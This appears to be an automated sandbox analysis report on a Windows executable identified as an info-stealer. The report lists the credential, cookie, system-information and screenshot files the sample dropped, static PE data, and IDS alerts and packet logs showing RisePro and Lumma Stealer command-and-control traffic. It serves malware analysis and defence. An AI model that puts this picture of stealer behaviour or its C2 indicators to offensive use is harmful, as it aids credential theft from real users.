SHA-256:	BAFF3039B9ACF97084D1B853F495026C52A4C483D010901E226BEB599D23DF5B
SHA-512:	D1923E33057413D478DAAAAA54BB157762172A58AE03FC36E0C1C6E4D64C0C33D08BFF7AEC8759F533331215960D739FEC2FFEA86D18D1D8A70105927A6A5F12
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@.@.@.....Q...........V..s..R.....G.@....s.....s..X..p..A..p..A.Rich@.................PE..L.....{f...............'.....*..............0....@.......................................@.....................................P............................P..(!.....................................@............0..x............................text............................... ..`.BsS....m.... ...................... ..`.rdata..z....0......................@..@.data....S.......D..................@....reloc..(!...P..."..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\wMAXHCLX6SHhLogin Data For Account

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\y3lSsObwURehCookies

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\trixymA1X5YS12PoP\Cookies\Chrome_Default.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (369), with CRLF line terminators
Category:	dropped
Size (bytes):	530
Entropy (8bit):	5.999391385907715
Encrypted:	false
SSDEEP:	12:copYxSlufq7gCx7Fbyr4rOSlTfJJADr6HDsZQZ7gC6:KauS79Gr4iSllJALQZ7c
MD5:	06ED2CD304730F55A5C7001509E128BE
SHA1:	49651485B2CE3D239172BD52BF5A265AB3EB8E18
SHA-256:	66851B5AA77B3DEE71B842F53D4E30F664F5A08F9754B9E87B323871981516A4
SHA-512:	0163A8537DE695D34865EEB9C872F15A1827644D8797344A2D36E776F174E5901E77AA560488B0D7D7359B3648614F818B85A7D51F59CCDF2831B5715F5A9334
Malicious:	false
Preview:	.google.com.FALSE./.TRUE.1699018815.1P_JAR.ENC893_djEwmUj/dRHWNmfhbTB/w+u3HcpAF49UGcxvovgmz9ye9OQyJO9KCFHkRm8=_Spn23kok+Q5pGfoIFZdfhpScu2LLLElOWGEpK4fGivY=...google.com.TRUE./.TRUE.1712238015.NID.ENC893_djEwFCqquAx+Q1mLxpuZeEBJZSgzAt4Ngo/HHXcYPxMGINXG0MJzCe/y7m5VzpUyfsA6ingOdNobTvWP/YbKYpzg64nmGlCjRU9RpPIjDAuAxGlp5MTMUaOP4iC8aSCuijjqDE5gAdZQ5Jgb0/uEAZ4ssWGDsxXJbqpGbi04viYfPDhBfQ9XKXznqtHW/weYlNZJIGlKZBsCWoEIKfuL56VHKaBt04gLO/XK1/P3nHsp6pSc1x1uk1RRK7hSYUjCY5G/hcpBBjFv74dICDI=_Spn23kok+Q5pGfoIFZdfhpScu2LLLElOWGEpK4fGivY=..

C:\Users\user\AppData\Local\Temp\trixymA1X5YS12PoP\History\Firefox_v6zchhhv.default-release.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	112
Entropy (8bit):	4.9113057226932435
Encrypted:	false
SSDEEP:	3:N8DSLvIJiMgTE2WdkQVjDSLvIJiMhKVX3L2WdkQVQ:2OLciodFOLciA8dq
MD5:	0CE7E561D96623E70DD177304D3B56DA
SHA1:	27B4131817E71657AED90C086E01E7E925BF641E
SHA-256:	E0B2F92CFB58B7D5EDFBB1FDF3E81194D4E55A90706986C389BDF21D2AD2325D
SHA-512:	48154E76523305BBB7ED39FEAD22CB4DD6FDD568259DC8D0E70ABA4A21030DAF6D1274E0DC5D7F10DFCF7B3B61BD2401FFB4768F301AEF04F142AF23EF335AB5
Malicious:	false
Preview:	https://www.mozilla.org/privacy/firefox/.1696426831..https://www.mozilla.org/en-US/privacy/firefox/.1696426831..

C:\Users\user\AppData\Local\Temp\trixymA1X5YS12PoP\information.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	6371
Entropy (8bit):	5.51056450685345
Encrypted:	false
SSDEEP:	96:xzWMJo3yRRhdc2KBhA6tsxODsWg5YA5nXzmDcCxOsANUbg3x:xC3U3dX6tsxPWg//B
MD5:	F78B0EEDAC23173853B0E05979237030
SHA1:	91BC3C4E90AE4FD3B3BD9589F697EDDBC62CC8E1
SHA-256:	AA52CB457A86E26063CE8C3C4AFB426FA310617F58C3E94358A3AB1DA9C933C7
SHA-512:	A8897D98D47DEAFB320E198A82F1A0FD0CD05E0DED90364D83983C1F924732E12340F660056E0CC96608241B06E06C3DAE600C89B13721E6FBDD63F9F1C9E9A3
Malicious:	false
Preview:	Build: default26..Version: 2.0....Date: Thu Jun 27 00:44:16 2024.MachineID: 9e146be9-c76a-4720-bcdb-53011b87bd06..GUID: {a33c7340-61ca-11ee-8c18-806e6f6e6963}..HWID: 6d75406ecd89a214e6eb31b5057c3497....Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe..Work Dir: C:\Users\user\AppData\Local\Temp\trixymA1X5YS12PoP....IP: 8.46.123.33..Location: US, New York..ZIP (Autofills): -..Windows: Windows 10 Pro [x64]..Computer Name: 760639 [WORKGROUP]..User Name: user..Display Resolution: 1280x1024..Display Language: en-CH..Keyboard Languages: English (United Kingdom) / English (United Kingdom)..Local Time: 27/6/2024 0:44:16..TimeZone: UTC-5....[Hardware]..Processor: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..CPU Count: 4..RAM: 8191 MB..VideoCard #0: Microsoft Basic Display Adapter....[Processes]..System [4]..Registry [92]..smss.exe [332]..csrss.exe [420]..wininit.exe [496]..csrss.exe [504]..winlogon.exe [564]..services.exe [632]..lsass.exe [640]..svchost.exe [752]..fontdrvhost.exe [7

C:\Users\user\AppData\Local\Temp\trixymA1X5YS12PoP\passwords.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	Unicode text, UTF-8 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	2.518316437186352
Encrypted:	false
SSDEEP:	48:4MMMMMMMMMMdMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMMMMdMMMMMMMM3:q
MD5:	B3E9D0E1B8207AA74CB8812BAAF52EAE
SHA1:	A2DCE0FB6B0BBC955A1E72EF3D87CADCC6E3CC6B
SHA-256:	4993311FC913771ACB526BB5EF73682EDA69CD31AC14D25502E7BDA578FFA37C
SHA-512:	B17ADF4AA80CADC581A09C72800DA22F62E5FB32953123F2C513D2E88753C430CC996E82AAE7190C8CB3340FCF2D9E0D759D99D909D2461369275FBE5C68C27A
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\trixymA1X5YS12PoP\screenshot.png

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	709838
Entropy (8bit):	7.927999568839858
Encrypted:	false
SSDEEP:	12288:0LL4iKvEzkxMa4OFrrOD3Uff6WkE0yeZ7wIlF9uMTaxZgDYN:4kOBa4OJOIf6TEpI7wifTMZgDYN
MD5:	C8E13FD2CDDF39C39D00FD0859D026F2
SHA1:	78A18894AECF90DAD0E124060EC55571C6626172
SHA-256:	CF85FA92D17D9F75441F4E5238ACA843840BE0B5092E31B4648DE224DCD0082C
SHA-512:	D4C4FACFE5B0FDA8713A9845C3E24560183017BAEB77B10EB0DCC2D2BFB46198AF6BD46B118AF4B108225C5653A968FCD4FF8BF8A4287CDC11A76AA41E539CB9
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^....].u...SUjIron.../....Kso.;y.}.r..6..B.}'@............G....l......A ....D.H..H.$...o....]...:%.(...k...Z{.S.-..\{.j..z..&.jB.;7...{...-.sF.......6..:....s.3_kD..H_F=.W/..=-}g.R?..P;..}.z.....#.v..#..d...V..Nzi.R..bG..(V..~B..}....q/.....1+........;...S....R...#..[..G<.S..\|.+.2..xf...tE...}_{z...jI.WE\.....=.A.....;..9..aQ?di......Q..#-...........~.....P......m....}..Z...O.g.L.....S.4@l.3.%......P?.......~C......{+...o.v.R.{O..$...}a`.C....D.'.....+.}@....b.`...}...OD..+...1...Z..........q..{.0.<...3.q..wU....7.....{q....}1>...7.......a.^1g....{,.}....-..]..>..{.{.1.......+L.9.b;.X..O^..v.=.1...wY.Z....!......v...0..%.. Q...*6q.]a..q.....w..w...x{..p[j.w....m.......V0...k...-)o.......F.ZZb.O..u\|...v.-..+6.c.......&..s.........}.nN.owK....lB.v..y...Yq...3n.}......!V.~S5o...Yq_....Z....qnF\.[....y........>1.....s....y..\|......i7....7..ru=....=..

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.442618380156086
Encrypted:	false
SSDEEP:	6144:/Svfpi6ceLP/9skLmb0OTwWSPHaJG8nAgeMZMMhA2fX4WABlEnN70uhiTw:KvloTwW+EZMM6DFyB03w
MD5:	555CD410653DE4B65E928620B66A7087
SHA1:	4620D9416357EF71C16C23ED53306C107A151E44
SHA-256:	AC1807C4A71AA2070AD778DDEE2D93582EF682DCF18FEA3CD1F489A68718FC94
SHA-512:	4AE75E3B43490057FF5340F99FC99474459C7B8DEC888B1A9425666F73F9E5F662B2C983641C72C0FC401886ECC66A804AF2335C07824D42314B0ECE044D0680
Malicious:	false
Preview:	regf?...?....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm....L...............................................................................................................................................................................................................................................................................................................................................X...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.952361851623971
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	BRWgvKaqbg.exe
File size:	1'847'296 bytes
MD5:	c72e70f29d3dd8fa148df55e8e6dec43
SHA1:	2f182d43528f78d6d847b37b77da9a09a2ed1f0a
SHA256:	baff3039b9acf97084d1b853f495026c52a4c483d010901e226beb599d23df5b
SHA512:	d1923e33057413d478daaaaa54bb157762172a58ae03fc36e0c1c6e4d64c0c33d08bff7aec8759f533331215960d739fec2ffea86d18d1d8a70105927a6a5f12
SSDEEP:	49152:XZKDuL48I2oJDxrV/4ePVhfBHcXuCEe/vPOM6yWKp3+EmfOS:XZ2uL439144fCXubCv2M6yWy3+i
TLSH:	83852312F5C5C431EAB7193611F89B765B7E7A604FA08DCBA3141B3F0B706D19A306AB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@...@...@.......Q...............V....s..R.......G...@........s.......s..X....p..A....p..A...Rich@...................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4096e8
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x667BD793 [Wed Jun 26 08:55:47 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	f136198aaa89a879cedc68aa43887034

Entrypoint Preview

Instruction
call 00007F68A48FF955h
jmp 00007F68A48FF049h
push ebp
mov ebp, esp
jmp 00007F68A48FF1DFh
push dword ptr [ebp+08h]
call 00007F68A49092E4h
pop ecx
test eax, eax
je 00007F68A48FF1E1h
push dword ptr [ebp+08h]
call 00007F68A4904A98h
pop ecx
test eax, eax
je 00007F68A48FF1B8h
pop ebp
ret
cmp dword ptr [ebp+08h], FFFFFFFFh
je 00007F68A48FFC6Bh
jmp 00007F68A48FFC48h
push ebp
mov ebp, esp
push dword ptr [ebp+08h]
call 00007F68A48FFC77h
pop ecx
pop ebp
ret
jmp 00007F68A48FFC6Fh
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007F68A48FF1EBh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007F68A48FF1DCh
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007F68A48FF1DEh
add edx, 28h
cmp edx, esi
jne 00007F68A48FF1BCh
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007F68A48FF1CBh
push esi
call 00007F68A48FFC2Ah
test eax, eax
je 00007F68A48FF1F2h
mov eax, dword ptr fs:[00000018h]
mov esi, 005C3890h
mov edx, dword ptr [eax+04h]
jmp 00007F68A48FF1D6h
cmp edx, eax
je 00007F68A48FF1E2h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007F68A48FF1C2h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+00h], 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2d9ac	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1c5000	0x2128	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x2aea8	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x2af00	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2ade8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x23000	0x178	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x203f2	0x20400	8aa90bba1fdcef737b9f69c107ece4e0	False	0.5629542151162791	data	6.614470051168399	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.BsS	0x22000	0xd6d	0xe00	612a9f6ca66e5f5bac5131e39385c9b6	False	0.6283482142857143	data	6.282447783452458	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x23000	0xb27a	0xb400	83f6c9120f39569c8cdcbb716ebccc35	False	0.37725694444444446	data	4.749398429213781	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2f000	0x195394	0x194400	fb540eac09a1ecb6084d69ae01e132fd	False	0.9968492723794063	data	7.999180695921789	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x1c5000	0x2128	0x2200	0bbf6c14f5e3ac5bd5a303e4d671f565	False	0.7393152573529411	data	6.5021382798412075	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
GDI32.dll	Polyline
USER32.dll	OffsetRect
KERNEL32.dll	CreateFileW, HeapSize, GetProcessHeap, SetStdHandle, WaitForSingleObject, CreateThread, VirtualAlloc, RaiseException, InitOnceBeginInitialize, InitOnceComplete, CloseHandle, GetCurrentThreadId, ReleaseSRWLockExclusive, AcquireSRWLockExclusive, TryAcquireSRWLockExclusive, WakeAllConditionVariable, SleepConditionVariableSRW, GetLastError, FreeLibraryWhenCallbackReturns, CreateThreadpoolWork, SubmitThreadpoolWork, CloseThreadpoolWork, GetModuleHandleExW, IsProcessorFeaturePresent, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, QueryPerformanceCounter, EncodePointer, DecodePointer, MultiByteToWideChar, WideCharToMultiByte, LCMapStringEx, GetSystemTimeAsFileTime, GetModuleHandleW, GetProcAddress, GetStringTypeW, GetCPInfo, GetCurrentProcessId, InitializeSListHead, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, GetCurrentProcess, TerminateProcess, SetEnvironmentVariableW, RtlUnwind, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetCommandLineA, GetCommandLineW, HeapFree, HeapAlloc, CompareStringW, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileType, GetFileSizeEx, SetFilePointerEx, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, ReadConsoleW, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
06/27/24-06:44:33.165311	TCP	2046269	ET TROJAN [ANY.RUN] RisePro TCP (Activity)	49741	50500	192.168.2.5	5.42.67.8
06/27/24-06:44:07.294016	TCP	2049060	ET TROJAN RisePro TCP Heartbeat Packet	49706	50500	192.168.2.5	5.42.67.8
06/27/24-06:44:36.355417	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	50500	49755	5.42.67.8	192.168.2.5
06/27/24-06:44:26.773577	UDP	2054010	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (spitechallengddwlsv .xyz)	65207	53	192.168.2.5	1.1.1.1
06/27/24-06:44:26.352643	TCP	2046269	ET TROJAN [ANY.RUN] RisePro TCP (Activity)	49723	50500	192.168.2.5	5.42.67.8
06/27/24-06:44:13.142593	TCP	2046267	ET TROJAN [ANY.RUN] RisePro TCP (External IP)	50500	49706	5.42.67.8	192.168.2.5
06/27/24-06:44:07.857763	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	50500	49706	5.42.67.8	192.168.2.5
06/27/24-06:44:26.793271	UDP	2054014	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (varitycookypowerw .xyz)	61566	53	192.168.2.5	1.1.1.1
06/27/24-06:44:10.977590	TCP	2046269	ET TROJAN [ANY.RUN] RisePro TCP (Activity)	49706	50500	192.168.2.5	5.42.67.8
06/27/24-06:44:23.216805	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	50500	49723	5.42.67.8	192.168.2.5
06/27/24-06:44:30.039904	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	50500	49741	5.42.67.8	192.168.2.5
06/27/24-06:44:30.017263	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	50500	49740	5.42.67.8	192.168.2.5
06/27/24-06:44:33.149483	TCP	2046269	ET TROJAN [ANY.RUN] RisePro TCP (Activity)	49740	50500	192.168.2.5	5.42.67.8

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 27, 2024 06:44:07.284702063 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:07.289866924 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:07.289946079 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:07.294015884 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:07.301044941 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:07.857763052 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:07.899277925 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:10.977590084 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:10.982348919 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:13.142592907 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:13.196136951 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:13.211270094 CEST	49713	443	192.168.2.5	34.117.186.192
Jun 27, 2024 06:44:13.211296082 CEST	443	49713	34.117.186.192	192.168.2.5
Jun 27, 2024 06:44:13.211361885 CEST	49713	443	192.168.2.5	34.117.186.192
Jun 27, 2024 06:44:13.212404966 CEST	49713	443	192.168.2.5	34.117.186.192
Jun 27, 2024 06:44:13.212414026 CEST	443	49713	34.117.186.192	192.168.2.5
Jun 27, 2024 06:44:13.709197998 CEST	443	49713	34.117.186.192	192.168.2.5
Jun 27, 2024 06:44:13.709516048 CEST	49713	443	192.168.2.5	34.117.186.192
Jun 27, 2024 06:44:13.710546970 CEST	49713	443	192.168.2.5	34.117.186.192
Jun 27, 2024 06:44:13.710551977 CEST	443	49713	34.117.186.192	192.168.2.5
Jun 27, 2024 06:44:13.710741997 CEST	443	49713	34.117.186.192	192.168.2.5
Jun 27, 2024 06:44:13.713263035 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:13.750972033 CEST	49713	443	192.168.2.5	34.117.186.192
Jun 27, 2024 06:44:13.758641005 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:13.792546034 CEST	443	49713	34.117.186.192	192.168.2.5
Jun 27, 2024 06:44:13.857271910 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:13.857400894 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:13.862287998 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:13.881304979 CEST	443	49713	34.117.186.192	192.168.2.5
Jun 27, 2024 06:44:13.881392956 CEST	443	49713	34.117.186.192	192.168.2.5
Jun 27, 2024 06:44:13.881442070 CEST	49713	443	192.168.2.5	34.117.186.192
Jun 27, 2024 06:44:13.883907080 CEST	49713	443	192.168.2.5	34.117.186.192
Jun 27, 2024 06:44:13.883914948 CEST	443	49713	34.117.186.192	192.168.2.5
Jun 27, 2024 06:44:13.883938074 CEST	49713	443	192.168.2.5	34.117.186.192
Jun 27, 2024 06:44:13.883943081 CEST	443	49713	34.117.186.192	192.168.2.5
Jun 27, 2024 06:44:13.896294117 CEST	49715	443	192.168.2.5	104.26.4.15
Jun 27, 2024 06:44:13.896320105 CEST	443	49715	104.26.4.15	192.168.2.5
Jun 27, 2024 06:44:13.896385908 CEST	49715	443	192.168.2.5	104.26.4.15
Jun 27, 2024 06:44:13.896701097 CEST	49715	443	192.168.2.5	104.26.4.15
Jun 27, 2024 06:44:13.896714926 CEST	443	49715	104.26.4.15	192.168.2.5
Jun 27, 2024 06:44:14.378135920 CEST	443	49715	104.26.4.15	192.168.2.5
Jun 27, 2024 06:44:14.378206015 CEST	49715	443	192.168.2.5	104.26.4.15
Jun 27, 2024 06:44:14.382453918 CEST	49715	443	192.168.2.5	104.26.4.15
Jun 27, 2024 06:44:14.382462978 CEST	443	49715	104.26.4.15	192.168.2.5
Jun 27, 2024 06:44:14.382726908 CEST	443	49715	104.26.4.15	192.168.2.5
Jun 27, 2024 06:44:14.384062052 CEST	49715	443	192.168.2.5	104.26.4.15
Jun 27, 2024 06:44:14.424531937 CEST	443	49715	104.26.4.15	192.168.2.5
Jun 27, 2024 06:44:14.604135036 CEST	443	49715	104.26.4.15	192.168.2.5
Jun 27, 2024 06:44:14.604201078 CEST	443	49715	104.26.4.15	192.168.2.5
Jun 27, 2024 06:44:14.604258060 CEST	49715	443	192.168.2.5	104.26.4.15
Jun 27, 2024 06:44:14.609270096 CEST	49715	443	192.168.2.5	104.26.4.15
Jun 27, 2024 06:44:14.609289885 CEST	443	49715	104.26.4.15	192.168.2.5
Jun 27, 2024 06:44:14.609306097 CEST	49715	443	192.168.2.5	104.26.4.15
Jun 27, 2024 06:44:14.609312057 CEST	443	49715	104.26.4.15	192.168.2.5
Jun 27, 2024 06:44:14.609688997 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:14.614521980 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:15.109453917 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:15.149259090 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:15.149421930 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:15.154182911 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:15.357227087 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:15.368278980 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:15.373132944 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:15.685421944 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:15.685441971 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:15.685580969 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:15.696326971 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:15.701148987 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:15.904923916 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:15.915093899 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:15.919971943 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:16.123059988 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:16.164895058 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.403764009 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.407676935 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.408622026 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.412537098 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.412549973 CEST	50500	49706	5.42.67.8	192.168.2.5
